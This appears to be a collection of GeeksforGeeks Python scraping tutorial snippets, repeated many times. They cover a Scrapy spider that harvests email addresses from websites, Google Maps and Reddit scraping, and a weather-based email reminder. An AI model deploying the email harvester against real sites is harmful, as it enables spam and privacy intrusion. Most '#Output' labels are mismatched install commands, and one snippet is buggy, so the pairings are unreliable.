Email Id Extractor Project from sites in Scrapy Python def parse_link(self, response): # response.meta['links'] this helps to get links list links = response.meta["links"] flag = 0 # links that contains following bad words are discarded bad_words = ["facebook", "instagram", "youtube", "twitter", "wiki", "linkedin"] for word in bad_words: # if any bad word is found in the current page url # flag is assigned to 1 if word in str(response.url): flag = 1 break # if flag is 1 then no need to get email from # that url/page if flag != 1: html_text = str(response.text) # regular expression used for email id email_list = re.findall("\w+@\w+\.{1}\w+", html_text) # set of email_list to get unique email_list = set(email_list) if len(email_list) != 0: for i in email_list: # adding email ids to final uniqueemail self.uniqueemail.add(i) # parse_link function is called till # if condition satisfy # else move to parsed function if len(links) > 0: l = links[0] links.pop(0) yield SeleniumRequest( url=l, callback=self.parse_link, dont_filter=True, meta={"links": links} ) else: yield SeleniumRequest(url=response.url, callback=self.parsed, dont_filter=True) #Output : pip install scrapy [END]
Email Id Extractor Project from sites in Scrapy Python
https://www.geeksforgeeks.org/email-id-extractor-project-from-sites-in-scrapy-python/
def parsed(self, response): # emails list of uniqueemail set emails = list(self.uniqueemail) finalemail = [] for email in emails: # avoid garbage value by using '.in' and '.com' # and append email ids to finalemail if ".in" in email or ".com" in email or "info" in email or "org" in email: finalemail.append(email) # final unique email ids from geeksforgeeks site print("\n" * 2) print("Emails scraped", finalemail) print("\n" * 2)
#Output : pip install scrapy
Email Id Extractor Project from sites in Scrapy Python def parsed(self, response): # emails list of uniqueemail set emails = list(self.uniqueemail) finalemail = [] for email in emails: # avoid garbage value by using '.in' and '.com' # and append email ids to finalemail if ".in" in email or ".com" in email or "info" in email or "org" in email: finalemail.append(email) # final unique email ids from geeksforgeeks site print("\n" * 2) print("Emails scraped", finalemail) print("\n" * 2) #Output : pip install scrapy [END]
Email Id Extractor Project from sites in Scrapy Python
https://www.geeksforgeeks.org/email-id-extractor-project-from-sites-in-scrapy-python/
# web scraping framework import scrapy # for regular expression import re # for selenium request from scrapy_selenium import SeleniumRequest # for link extraction from scrapy.linkextractors.lxmlhtml import LxmlLinkExtractor class EmailtrackSpider(scrapy.Spider): # name of spider name = "emailtrack" # to have unique email ids uniqueemail = set() # start_requests sends request to given https://www.geeksforgeeks.org/ # and parse function is called def start_requests(self): yield SeleniumRequest( url="https://www.geeksforgeeks.org/", wait_time=3, screenshot=True, callback=self.parse, dont_filter=True, ) def parse(self, response): # this helps to get all links from source code links = LxmlLinkExtractor(allow=()).extract_links(response) # Finallinks contains links url Finallinks = [str(link.url) for link in links] # links list for url that may have email ids links = [] # filtering and storing only needed url in links list # pages that are about us and contact us are the ones that have email ids for link in Finallinks: if ( "Contact" in link or "contact" in link or "About" in link or "about" in link or "CONTACT" in link or "ABOUT" in link ): links.append(link) # current page url also added because few sites have email ids on there main page links.append(str(response.url)) # parse_link function is called for extracting email ids l = links[0] links.pop(0) # meta helps to transfer links list from parse to parse_link yield SeleniumRequest( url=l, wait_time=3, screenshot=True, callback=self.parse_link, dont_filter=True, meta={"links": links}, ) def parse_link(self, response): # response.meta['links'] this helps to get links list links = response.meta["links"] flag = 0 # links that contains following bad words are discarded bad_words = ["facebook", "instagram", "youtube", "twitter", "wiki", "linkedin"] for word in bad_words: # if any bad word is found in the current page url # flag is assigned to 1 if word in str(response.url): flag = 1 break # if flag is 1 then no need to get email from # that url/page if flag != 1: html_text = str(response.text) # regular expression used for email id email_list = re.findall("\w+@\w+\.{1}\w+", html_text) # set of email_list to get unique email_list = set(email_list) if len(email_list) != 0: for i in email_list: # adding email ids to final uniqueemail self.uniqueemail.add(i) # parse_link function is called till # if condition satisfy # else move to parsed function if len(links) > 0: l = links[0] links.pop(0) yield SeleniumRequest( url=l, callback=self.parse_link, dont_filter=True, meta={"links": links} ) else: yield SeleniumRequest( url=response.url, callback=self.parsed, dont_filter=True ) def parsed(self, response): # emails list of uniqueemail set emails = list(self.uniqueemail) finalemail = [] for email in emails: # avoid garbage value by using '.in' and '.com' # and append email ids to finalemail if ".in" in email or ".com" in email or "info" in email or "org" in email: finalemail.append(email) # final unique email ids from geeksforgeeks site print("\n" * 2) print("Emails scraped", finalemail) print("\n" * 2)
#Output : pip install scrapy
Email Id Extractor Project from sites in Scrapy Python # web scraping framework import scrapy # for regular expression import re # for selenium request from scrapy_selenium import SeleniumRequest # for link extraction from scrapy.linkextractors.lxmlhtml import LxmlLinkExtractor class EmailtrackSpider(scrapy.Spider): # name of spider name = "emailtrack" # to have unique email ids uniqueemail = set() # start_requests sends request to given https://www.geeksforgeeks.org/ # and parse function is called def start_requests(self): yield SeleniumRequest( url="https://www.geeksforgeeks.org/", wait_time=3, screenshot=True, callback=self.parse, dont_filter=True, ) def parse(self, response): # this helps to get all links from source code links = LxmlLinkExtractor(allow=()).extract_links(response) # Finallinks contains links url Finallinks = [str(link.url) for link in links] # links list for url that may have email ids links = [] # filtering and storing only needed url in links list # pages that are about us and contact us are the ones that have email ids for link in Finallinks: if ( "Contact" in link or "contact" in link or "About" in link or "about" in link or "CONTACT" in link or "ABOUT" in link ): links.append(link) # current page url also added because few sites have email ids on there main page links.append(str(response.url)) # parse_link function is called for extracting email ids l = links[0] links.pop(0) # meta helps to transfer links list from parse to parse_link yield SeleniumRequest( url=l, wait_time=3, screenshot=True, callback=self.parse_link, dont_filter=True, meta={"links": links}, ) def parse_link(self, response): # response.meta['links'] this helps to get links list links = response.meta["links"] flag = 0 # links that contains following bad words are discarded bad_words = ["facebook", "instagram", "youtube", "twitter", "wiki", "linkedin"] for word in bad_words: # if any bad word is found in the current page url # flag is assigned to 1 if word in str(response.url): flag = 1 break # if flag is 1 then no need to get email from # that url/page if flag != 1: html_text = str(response.text) # regular expression used for email id email_list = re.findall("\w+@\w+\.{1}\w+", html_text) # set of email_list to get unique email_list = set(email_list) if len(email_list) != 0: for i in email_list: # adding email ids to final uniqueemail self.uniqueemail.add(i) # parse_link function is called till # if condition satisfy # else move to parsed function if len(links) > 0: l = links[0] links.pop(0) yield SeleniumRequest( url=l, callback=self.parse_link, dont_filter=True, meta={"links": links} ) else: yield SeleniumRequest( url=response.url, callback=self.parsed, dont_filter=True ) def parsed(self, response): # emails list of uniqueemail set emails = list(self.uniqueemail) finalemail = [] for email in emails: # avoid garbage value by using '.in' and '.com' # and append email ids to finalemail if ".in" in email or ".com" in email or "info" in email or "org" in email: finalemail.append(email) # final unique email ids from geeksforgeeks site print("\n" * 2) print("Emails scraped", finalemail) print("\n" * 2) #Output : pip install scrapy [END]
How to scrape data from google maps using Python?
https://www.geeksforgeeks.org/how-to-scrape-data-from-google-maps-using-python/
# Import the library Selenium from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains # Make browser open in background options = webdriver.ChromeOptions() options.add_argument("headless") # Create the webdriver object browser = webdriver.Chrome( executable_path="C:\chromedriver_win32\chromedriver.exe", options=options ) # Obtain the Google Map URL url = [ "https://www.google.com/maps/place/\ Papa+John's+Pizza/@40.7936551,-74.0124687,17z/data=!3m1!4b1!\ 4m5!3m4!1s0x89c2580eaa74451b:0x15d743e4f841e5ed!8m2!3d40.\ 7936551!4d-74.0124687", "https://www.google.com/maps/place/\ Lucky+Dhaba/@30.653792,76.8165233,17z/data=!3m1!4b1!4m5!3m4!\ 1s0x390feb3e3de1a031:0x862036ab85567f75!8m2!3d30.653792!4d76.818712", ] # Initialize variables and declare it 0 i = 0 # Create a loop for obtaining data from URLs for i in range(len(url)): # Open the Google Map URL browser.get(url[i]) # Obtain the title of that place title = browser.find_element_by_class_name("x3AX1-LfntMc-header-title-title") print(i + 1, "-", title.text) # Obtain the ratings of that place stars = browser.find_element_by_class_name("aMPvhf-fI6EEc-KVuj8d") print("The stars of restaurant are:", stars.text) print("\n")
#Output : 1 - Papa Johns Pizza
How to scrape data from google maps using Python? # Import the library Selenium from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains # Make browser open in background options = webdriver.ChromeOptions() options.add_argument("headless") # Create the webdriver object browser = webdriver.Chrome( executable_path="C:\chromedriver_win32\chromedriver.exe", options=options ) # Obtain the Google Map URL url = [ "https://www.google.com/maps/place/\ Papa+John's+Pizza/@40.7936551,-74.0124687,17z/data=!3m1!4b1!\ 4m5!3m4!1s0x89c2580eaa74451b:0x15d743e4f841e5ed!8m2!3d40.\ 7936551!4d-74.0124687", "https://www.google.com/maps/place/\ Lucky+Dhaba/@30.653792,76.8165233,17z/data=!3m1!4b1!4m5!3m4!\ 1s0x390feb3e3de1a031:0x862036ab85567f75!8m2!3d30.653792!4d76.818712", ] # Initialize variables and declare it 0 i = 0 # Create a loop for obtaining data from URLs for i in range(len(url)): # Open the Google Map URL browser.get(url[i]) # Obtain the title of that place title = browser.find_element_by_class_name("x3AX1-LfntMc-header-title-title") print(i + 1, "-", title.text) # Obtain the ratings of that place stars = browser.find_element_by_class_name("aMPvhf-fI6EEc-KVuj8d") print("The stars of restaurant are:", stars.text) print("\n") #Output : 1 - Papa Johns Pizza [END]
How to scrape data from google maps using Python?
https://www.geeksforgeeks.org/how-to-scrape-data-from-google-maps-using-python/
# Import the library Selenium from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains # Make browser open in background options = webdriver.ChromeOptions() options.add_argument("headless") # Create the webdriver object browser = webdriver.Chrome( executable_path="C:\chromedriver_win32\chromedriver.exe", options=options ) # Obtain the Google Map URL url = [ "https://www.google.com/maps/place/\ Papa+John's+Pizza/@40.7936551,-74.0124687,17z/data=!3m1!4b1!\ 4m5!3m4!1s0x89c2580eaa74451b:0x15d743e4f841e5ed!8m2!3d40.\ 7936551!4d-74.0124687", "https://www.google.com/maps/place/\ Lucky+Dhaba/@30.653792,76.8165233,17z/data=!3m1!4b1!4m5!3m4!\ 1s0x390feb3e3de1a031:0x862036ab85567f75!8m2!3d30.653792!4d76.818712", ] # Initialize variables and declare it 0 i = 0 # Create a loop for obtaining data from URLs for i in range(len(url)): # Open the Google Map URL browser.get(url[i]) # Obtain the title of that place title = browser.find_element_by_class_name("x3AX1-LfntMc-header-title-title") print(i + 1, "-", title.text) # Obtain the address of that place address = browser.find_elements_by_class_name("CsEnBe")[0] print("Address: ", address.text) print("\n")
#Output : 1 - Papa Johns Pizza
How to scrape data from google maps using Python? # Import the library Selenium from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains # Make browser open in background options = webdriver.ChromeOptions() options.add_argument("headless") # Create the webdriver object browser = webdriver.Chrome( executable_path="C:\chromedriver_win32\chromedriver.exe", options=options ) # Obtain the Google Map URL url = [ "https://www.google.com/maps/place/\ Papa+John's+Pizza/@40.7936551,-74.0124687,17z/data=!3m1!4b1!\ 4m5!3m4!1s0x89c2580eaa74451b:0x15d743e4f841e5ed!8m2!3d40.\ 7936551!4d-74.0124687", "https://www.google.com/maps/place/\ Lucky+Dhaba/@30.653792,76.8165233,17z/data=!3m1!4b1!4m5!3m4!\ 1s0x390feb3e3de1a031:0x862036ab85567f75!8m2!3d30.653792!4d76.818712", ] # Initialize variables and declare it 0 i = 0 # Create a loop for obtaining data from URLs for i in range(len(url)): # Open the Google Map URL browser.get(url[i]) # Obtain the title of that place title = browser.find_element_by_class_name("x3AX1-LfntMc-header-title-title") print(i + 1, "-", title.text) # Obtain the address of that place address = browser.find_elements_by_class_name("CsEnBe")[0] print("Address: ", address.text) print("\n") #Output : 1 - Papa Johns Pizza [END]
How to scrape data from google maps using Python?
https://www.geeksforgeeks.org/how-to-scrape-data-from-google-maps-using-python/
# Import the library Selenium from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains # Make browser open in background options = webdriver.ChromeOptions() options.add_argument("headless") # Create the webdriver object browser = webdriver.Chrome( executable_path="C:\chromedriver_win32\chromedriver.exe", options=options ) # Obtain the Google Map URL url = [ "https://www.google.com/maps/place/\ Papa+John's+Pizza/@40.7936551,-74.0124687,17z/data=!3m1!4b1!\ 4m5!3m4!1s0x89c2580eaa74451b:0x15d743e4f841e5ed!8m2!3d40.\ 7936551!4d-74.0124687", "https://www.google.com/maps/place/\ Lucky+Dhaba/@30.653792,76.8165233,17z/data=!3m1!4b1!4m5!3m4!\ 1s0x390feb3e3de1a031:0x862036ab85567f75!8m2!3d30.653792!4d76.818712", ] # Initialize variables and declare it 0 i = 0 # Create a loop for obtaining data from URLs for i in range(len(url)): # Open the Google Map URL browser.get(url[i]) # Obtain the title of that place title = browser.find_element_by_class_name("x3AX1-LfntMc-header-title-title") print(i + 1, "-", title.text) # Obtain the contact number of that place phone = browser.find_elements_by_class_name("CsEnBe")[-2] print("Contact Number: ", phone.text) print("\n")
#Output : 1 - Papa Johns Pizza
How to scrape data from google maps using Python? # Import the library Selenium from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains # Make browser open in background options = webdriver.ChromeOptions() options.add_argument("headless") # Create the webdriver object browser = webdriver.Chrome( executable_path="C:\chromedriver_win32\chromedriver.exe", options=options ) # Obtain the Google Map URL url = [ "https://www.google.com/maps/place/\ Papa+John's+Pizza/@40.7936551,-74.0124687,17z/data=!3m1!4b1!\ 4m5!3m4!1s0x89c2580eaa74451b:0x15d743e4f841e5ed!8m2!3d40.\ 7936551!4d-74.0124687", "https://www.google.com/maps/place/\ Lucky+Dhaba/@30.653792,76.8165233,17z/data=!3m1!4b1!4m5!3m4!\ 1s0x390feb3e3de1a031:0x862036ab85567f75!8m2!3d30.653792!4d76.818712", ] # Initialize variables and declare it 0 i = 0 # Create a loop for obtaining data from URLs for i in range(len(url)): # Open the Google Map URL browser.get(url[i]) # Obtain the title of that place title = browser.find_element_by_class_name("x3AX1-LfntMc-header-title-title") print(i + 1, "-", title.text) # Obtain the contact number of that place phone = browser.find_elements_by_class_name("CsEnBe")[-2] print("Contact Number: ", phone.text) print("\n") #Output : 1 - Papa Johns Pizza [END]
How to scrape data from google maps using Python?
https://www.geeksforgeeks.org/how-to-scrape-data-from-google-maps-using-python/
# Import the library Selenium from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains # Make browser open in background options = webdriver.ChromeOptions() options.add_argument("headless") # Create the webdriver object browser = webdriver.Chrome( executable_path="C:\chromedriver_win32\chromedriver.exe", options=options ) # Obtain the Google Map URL url = [ "https://www.google.com/maps/place/\ Papa+John's+Pizza/@40.7936551,-74.0124687,17z/data=!3m1!4b1!\ 4m5!3m4!1s0x89c2580eaa74451b:0x15d743e4f841e5ed!8m2!3d40.\ 7936551!4d-74.0124687", "https://www.google.com/maps/place/\ Lucky+Dhaba/@30.653792,76.8165233,17z/data=!3m1!4b1!4m5!3m4!\ 1s0x390feb3e3de1a031:0x862036ab85567f75!8m2!3d30.653792!4d76.818712", ] # Initialize variables and declare it 0 i = 0 # Create a loop for obtaining data from URLs for i in range(len(url)): # Open the Google Map URL browser.get(url[i]) # Obtain the title of that place title = browser.find_element_by_class_name("x3AX1-LfntMc-header-title-title") print(i + 1, "-", title.text) # Obtain the reviews of that place review = browser.find_elements_by_class_name("OXD3gb") print("------------------------ Reviews --------------------") for j in review: print(j.text) print("\n")
#Output : 1 - Papa Johns Pizza
How to scrape data from google maps using Python? # Import the library Selenium from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains # Make browser open in background options = webdriver.ChromeOptions() options.add_argument("headless") # Create the webdriver object browser = webdriver.Chrome( executable_path="C:\chromedriver_win32\chromedriver.exe", options=options ) # Obtain the Google Map URL url = [ "https://www.google.com/maps/place/\ Papa+John's+Pizza/@40.7936551,-74.0124687,17z/data=!3m1!4b1!\ 4m5!3m4!1s0x89c2580eaa74451b:0x15d743e4f841e5ed!8m2!3d40.\ 7936551!4d-74.0124687", "https://www.google.com/maps/place/\ Lucky+Dhaba/@30.653792,76.8165233,17z/data=!3m1!4b1!4m5!3m4!\ 1s0x390feb3e3de1a031:0x862036ab85567f75!8m2!3d30.653792!4d76.818712", ] # Initialize variables and declare it 0 i = 0 # Create a loop for obtaining data from URLs for i in range(len(url)): # Open the Google Map URL browser.get(url[i]) # Obtain the title of that place title = browser.find_element_by_class_name("x3AX1-LfntMc-header-title-title") print(i + 1, "-", title.text) # Obtain the reviews of that place review = browser.find_elements_by_class_name("OXD3gb") print("------------------------ Reviews --------------------") for j in review: print(j.text) print("\n") #Output : 1 - Papa Johns Pizza [END]
How to scrape data from google maps using Python?
https://www.geeksforgeeks.org/how-to-scrape-data-from-google-maps-using-python/
# Import the library Selenium from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains # Make browser open in background options = webdriver.ChromeOptions() options.add_argument("headless") # Create the webdriver object browser = webdriver.Chrome( executable_path="C:\chromedriver_win32\chromedriver.exe", options=options ) # Obtain the Google Map URL url = [ "https://www.google.com/maps/place/\ Papa+John's+Pizza/@40.7936551,-74.0124687,17z/data=!3m1!4b1!\ 4m5!3m4!1s0x89c2580eaa74451b:0x15d743e4f841e5ed!8m2!3d40.\ 7936551!4d-74.0124687", "https://www.google.com/maps/place/\ Lucky+Dhaba/@30.653792,76.8165233,17z/data=!3m1!4b1!4m5!3m4!\ 1s0x390feb3e3de1a031:0x862036ab85567f75!8m2!3d30.653792!4d76.818712", ] # Initialize variables and declare it 0 i = 0 # Create a loop for obtaining data from URLs for i in range(len(url)): # Open the Google Map URL browser.get(url[i]) # Obtain the title of that place title = browser.find_element_by_class_name("x3AX1-LfntMc-header-title-title") print(i + 1, "-", title.text) # Obtain the ratings of that place stars = browser.find_element_by_class_name("aMPvhf-fI6EEc-KVuj8d") print("The stars of restaurant are:", stars.text) # Obtain the description of that place description = browser.find_element_by_class_name("uxOu9-sTGRBb-T3yXSc") print("Description: ", description.text) # Obtain the address of that place address = browser.find_elements_by_class_name("CsEnBe")[0] print("Address: ", address.text) # Obtain the contact number of that place phone = browser.find_elements_by_class_name("CsEnBe")[-2] print("Contact Number: ", phone.text) # Obtain the reviews of that place review = browser.find_elements_by_class_name("OXD3gb") print("------------------------ Reviews --------------------") for j in review: print(j.text) print("\n")
#Output : 1 - Papa Johns Pizza
How to scrape data from google maps using Python? # Import the library Selenium from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains # Make browser open in background options = webdriver.ChromeOptions() options.add_argument("headless") # Create the webdriver object browser = webdriver.Chrome( executable_path="C:\chromedriver_win32\chromedriver.exe", options=options ) # Obtain the Google Map URL url = [ "https://www.google.com/maps/place/\ Papa+John's+Pizza/@40.7936551,-74.0124687,17z/data=!3m1!4b1!\ 4m5!3m4!1s0x89c2580eaa74451b:0x15d743e4f841e5ed!8m2!3d40.\ 7936551!4d-74.0124687", "https://www.google.com/maps/place/\ Lucky+Dhaba/@30.653792,76.8165233,17z/data=!3m1!4b1!4m5!3m4!\ 1s0x390feb3e3de1a031:0x862036ab85567f75!8m2!3d30.653792!4d76.818712", ] # Initialize variables and declare it 0 i = 0 # Create a loop for obtaining data from URLs for i in range(len(url)): # Open the Google Map URL browser.get(url[i]) # Obtain the title of that place title = browser.find_element_by_class_name("x3AX1-LfntMc-header-title-title") print(i + 1, "-", title.text) # Obtain the ratings of that place stars = browser.find_element_by_class_name("aMPvhf-fI6EEc-KVuj8d") print("The stars of restaurant are:", stars.text) # Obtain the description of that place description = browser.find_element_by_class_name("uxOu9-sTGRBb-T3yXSc") print("Description: ", description.text) # Obtain the address of that place address = browser.find_elements_by_class_name("CsEnBe")[0] print("Address: ", address.text) # Obtain the contact number of that place phone = browser.find_elements_by_class_name("CsEnBe")[-2] print("Contact Number: ", phone.text) # Obtain the reviews of that place review = browser.find_elements_by_class_name("OXD3gb") print("------------------------ Reviews --------------------") for j in review: print(j.text) print("\n") #Output : 1 - Papa Johns Pizza [END]
Scraping weather data using Python to get umbrelementsla reminder on email
https://www.geeksforgeeks.org/scraping-weather-data-using-python-to-get-umbrella-reminder-on-email/
import schedule import smtplib import requests from bs4 import BeautifulSoup
#Output : pip install bs4
Scraping weather data using Python to get umbrelementsla reminder on email import schedule import smtplib import requests from bs4 import BeautifulSoup #Output : pip install bs4 [END]
Scraping weather data using Python to get umbrelementsla reminder on email
https://www.geeksforgeeks.org/scraping-weather-data-using-python-to-get-umbrella-reminder-on-email/
city = "Hyderabad" url = "https://www.google.com/search?q=" + "weather" + city html = requests.get(url).content
#Output : pip install bs4
Scraping weather data using Python to get umbrelementsla reminder on email city = "Hyderabad" url = "https://www.google.com/search?q=" + "weather" + city html = requests.get(url).content #Output : pip install bs4 [END]
Scraping weather data using Python to get umbrelementsla reminder on email
https://www.geeksforgeeks.org/scraping-weather-data-using-python-to-get-umbrella-reminder-on-email/
soup = BeautifulSoup(html, "html.parser") temperature = soup.find("div", attrs={"class": "BNeawe iBp4i AP7Wnd"}).text time_sky = soup.find("div", attrs={"class": "BNeawe tAd8D AP7Wnd"}).text # formatting data sky = time_sky.split("\n")[1]
#Output : pip install bs4
Scraping weather data using Python to get umbrelementsla reminder on email soup = BeautifulSoup(html, "html.parser") temperature = soup.find("div", attrs={"class": "BNeawe iBp4i AP7Wnd"}).text time_sky = soup.find("div", attrs={"class": "BNeawe tAd8D AP7Wnd"}).text # formatting data sky = time_sky.split("\n")[1] #Output : pip install bs4 [END]
Scraping weather data using Python to get umbrelementsla reminder on email
https://www.geeksforgeeks.org/scraping-weather-data-using-python-to-get-umbrella-reminder-on-email/
if ( sky == "Rainy" or sky == "Rain And Snow" or sky == "Showers" or sky == "Haze" or sky == "Cloudy" ): smtp_object = smtplib.SMTP("smtp.gmail.com", 587)
#Output : pip install bs4
Scraping weather data using Python to get umbrelementsla reminder on email if ( sky == "Rainy" or sky == "Rain And Snow" or sky == "Showers" or sky == "Haze" or sky == "Cloudy" ): smtp_object = smtplib.SMTP("smtp.gmail.com", 587) #Output : pip install bs4 [END]
Scraping weather data using Python to get umbrelementsla reminder on email
https://www.geeksforgeeks.org/scraping-weather-data-using-python-to-get-umbrella-reminder-on-email/
# start TLS for security smtp_object.starttls() # Authentication smtp_object.login("YOUR EMAIL", "PASSWORD") subject = "Umbrella Reminder" body = ( f"Take an umbrella before leaving the house.\ Weather condition for today is ", {sky}, " and temperature is {temperature} in {city}.", ) msg = f"Subject:{subject}\n\n{body}\n\nRegards,\ \nGeeksforGeeks".encode( "utf-8" ) # sending the mail smtp_object.sendmail("FROM EMAIL ADDRESS", "TO EMAIL ADDRESS", msg) # terminating the session smtp_object.quit() print("Email Sent!")
#Output : pip install bs4
Scraping weather data using Python to get umbrelementsla reminder on email # start TLS for security smtp_object.starttls() # Authentication smtp_object.login("YOUR EMAIL", "PASSWORD") subject = "Umbrella Reminder" body = ( f"Take an umbrella before leaving the house.\ Weather condition for today is ", {sky}, " and temperature is {temperature} in {city}.", ) msg = f"Subject:{subject}\n\n{body}\n\nRegards,\ \nGeeksforGeeks".encode( "utf-8" ) # sending the mail smtp_object.sendmail("FROM EMAIL ADDRESS", "TO EMAIL ADDRESS", msg) # terminating the session smtp_object.quit() print("Email Sent!") #Output : pip install bs4 [END]
Scraping weather data using Python to get umbrelementsla reminder on email
https://www.geeksforgeeks.org/scraping-weather-data-using-python-to-get-umbrella-reminder-on-email/
# Every day at 06:00AM time umbrellaReminder() is called. schedule.every().day.at("06:00").do(umbrellaReminder) while True: schedule.run_pending()
#Output : pip install bs4
Scraping weather data using Python to get umbrelementsla reminder on email # Every day at 06:00AM time umbrellaReminder() is called. schedule.every().day.at("06:00").do(umbrellaReminder) while True: schedule.run_pending() #Output : pip install bs4 [END]
Scraping weather data using Python to get umbrelementsla reminder on email
https://www.geeksforgeeks.org/scraping-weather-data-using-python-to-get-umbrella-reminder-on-email/
import schedule import smtplib import requests from bs4 import BeautifulSoup def umbrellaReminder(): city = "Hyderabad" # creating url and requests instance url = "https://www.google.com/search?q=" + "weather" + city html = requests.get(url).content # getting raw data soup = BeautifulSoup(html, "html.parser") temperature = soup.find("div", attrs={"class": "BNeawe iBp4i AP7Wnd"}).text time_sky = soup.find("div", attrs={"class": "BNeawe tAd8D AP7Wnd"}).text # formatting data sky = time_sky.split("\n")[1] if ( sky == "Rainy" or sky == "Rain And Snow" or sky == "Showers" or sky == "Haze" or sky == "Cloudy" ): smtp_object = smtplib.SMTP("smtp.gmail.com", 587) # start TLS for security smtp_object.starttls() # Authentication smtp_object.login("YOUR EMAIL", "PASSWORD") subject = "GeeksforGeeks Umbrella Reminder" body = f"Take an umbrella before leaving the house.\ Weather condition for today is {sky} and temperature is\ {temperature} in {city}." msg = f"Subject:{subject}\n\n{body}\n\nRegards,\nGeeksforGeeks".encode("utf-8") # sending the mail smtp_object.sendmail("FROM EMAIL", "TO EMAIL", msg) # terminating the session smtp_object.quit() print("Email Sent!") # Every day at 06:00AM time umbrellaReminder() is called. schedule.every().day.at("06:00").do(umbrellaReminder) while True: schedule.run_pending()
#Output : pip install bs4
Scraping weather data using Python to get umbrelementsla reminder on email import schedule import smtplib import requests from bs4 import BeautifulSoup def umbrellaReminder(): city = "Hyderabad" # creating url and requests instance url = "https://www.google.com/search?q=" + "weather" + city html = requests.get(url).content # getting raw data soup = BeautifulSoup(html, "html.parser") temperature = soup.find("div", attrs={"class": "BNeawe iBp4i AP7Wnd"}).text time_sky = soup.find("div", attrs={"class": "BNeawe tAd8D AP7Wnd"}).text # formatting data sky = time_sky.split("\n")[1] if ( sky == "Rainy" or sky == "Rain And Snow" or sky == "Showers" or sky == "Haze" or sky == "Cloudy" ): smtp_object = smtplib.SMTP("smtp.gmail.com", 587) # start TLS for security smtp_object.starttls() # Authentication smtp_object.login("YOUR EMAIL", "PASSWORD") subject = "GeeksforGeeks Umbrella Reminder" body = f"Take an umbrella before leaving the house.\ Weather condition for today is {sky} and temperature is\ {temperature} in {city}." msg = f"Subject:{subject}\n\n{body}\n\nRegards,\nGeeksforGeeks".encode("utf-8") # sending the mail smtp_object.sendmail("FROM EMAIL", "TO EMAIL", msg) # terminating the session smtp_object.quit() print("Email Sent!") # Every day at 06:00AM time umbrellaReminder() is called. schedule.every().day.at("06:00").do(umbrellaReminder) while True: schedule.run_pending() #Output : pip install bs4 [END]
Scraping Reddit using Python
https://www.geeksforgeeks.org/scraping-reddit-using-python/
# Read-only instance reddit_read_only = praw.Reddit( client_id="", # your client id client_secret="", # your client secret user_agent="", ) # your user agent # Authorized instance reddit_authorized = praw.Reddit( client_id="", # your client id client_secret="", # your client secret user_agent="", # your user agent username="", # your reddit username password="", ) # your reddit password
#Output : pip install praw
Scraping Reddit using Python # Read-only instance reddit_read_only = praw.Reddit( client_id="", # your client id client_secret="", # your client secret user_agent="", ) # your user agent # Authorized instance reddit_authorized = praw.Reddit( client_id="", # your client id client_secret="", # your client secret user_agent="", # your user agent username="", # your reddit username password="", ) # your reddit password #Output : pip install praw [END]
Scraping Reddit using Python
https://www.geeksforgeeks.org/scraping-reddit-using-python/
import praw import pandas as pd reddit_read_only = praw.Reddit( client_id="", # your client id client_secret="", # your client secret user_agent="", ) # your user agent subreddit = reddit_read_only.subreddit("redditdev") # Display the name of the Subreddit print("Display Name:", subreddit.display_name) # Display the title of the Subreddit print("Title:", subreddit.title) # Display the description of the Subreddit print("Description:", subreddit.description)
#Output : pip install praw
Scraping Reddit using Python import praw import pandas as pd reddit_read_only = praw.Reddit( client_id="", # your client id client_secret="", # your client secret user_agent="", ) # your user agent subreddit = reddit_read_only.subreddit("redditdev") # Display the name of the Subreddit print("Display Name:", subreddit.display_name) # Display the title of the Subreddit print("Title:", subreddit.title) # Display the description of the Subreddit print("Description:", subreddit.description) #Output : pip install praw [END]
Scraping Reddit using Python
https://www.geeksforgeeks.org/scraping-reddit-using-python/
subreddit = reddit_read_only.subreddit("Python") for post in subreddit.hot(limit=5): print(post.title) print()
#Output : pip install praw
Scraping Reddit using Python subreddit = reddit_read_only.subreddit("Python") for post in subreddit.hot(limit=5): print(post.title) print() #Output : pip install praw [END]
Scraping Reddit using Python
https://www.geeksforgeeks.org/scraping-reddit-using-python/
posts = subreddit.top("month") # Scraping the top posts of the current month posts_dict = { "Title": [], "Post Text": [], "ID": [], "Score": [], "Total Comments": [], "Post URL": [], } for post in posts: # Title of each post posts_dict["Title"].append(post.title) # Text inside a post posts_dict["Post Text"].append(post.selftext) # Unique ID of each post posts_dict["ID"].append(post.id) # The score of a post posts_dict["Score"].append(post.score) # Total number of comments inside the post posts_dict["Total Comments"].append(post.num_comments) # URL of each post posts_dict["Post URL"].append(post.url) # Saving the data in a pandas dataframe top_posts = pd.DataFrame(posts_dict) top_posts
#Output : pip install praw
Scraping Reddit using Python posts = subreddit.top("month") # Scraping the top posts of the current month posts_dict = { "Title": [], "Post Text": [], "ID": [], "Score": [], "Total Comments": [], "Post URL": [], } for post in posts: # Title of each post posts_dict["Title"].append(post.title) # Text inside a post posts_dict["Post Text"].append(post.selftext) # Unique ID of each post posts_dict["ID"].append(post.id) # The score of a post posts_dict["Score"].append(post.score) # Total number of comments inside the post posts_dict["Total Comments"].append(post.num_comments) # URL of each post posts_dict["Post URL"].append(post.url) # Saving the data in a pandas dataframe top_posts = pd.DataFrame(posts_dict) top_posts #Output : pip install praw [END]
Scraping Reddit using Python
https://www.geeksforgeeks.org/scraping-reddit-using-python/
import pandas as pd top_posts.to_csv("Top Posts.csv", index=True)
#Output : pip install praw
Scraping Reddit using Python import pandas as pd top_posts.to_csv("Top Posts.csv", index=True) #Output : pip install praw [END]
Scraping Reddit using Python
https://www.geeksforgeeks.org/scraping-reddit-using-python/
import praw import pandas as pd reddit_read_only = praw.Reddit( client_id="", # your client id client_secret="", # your client secret user_agent="", ) # your user agent # URL of the post url = "https://www.reddit.com/r/IAmA/comments/m8n4vt/\ im_bill_gates_cochair_of_the_bill_and_melinda/" # Creating a submission object submission = reddit_read_only.submission(url=url)
#Output : pip install praw
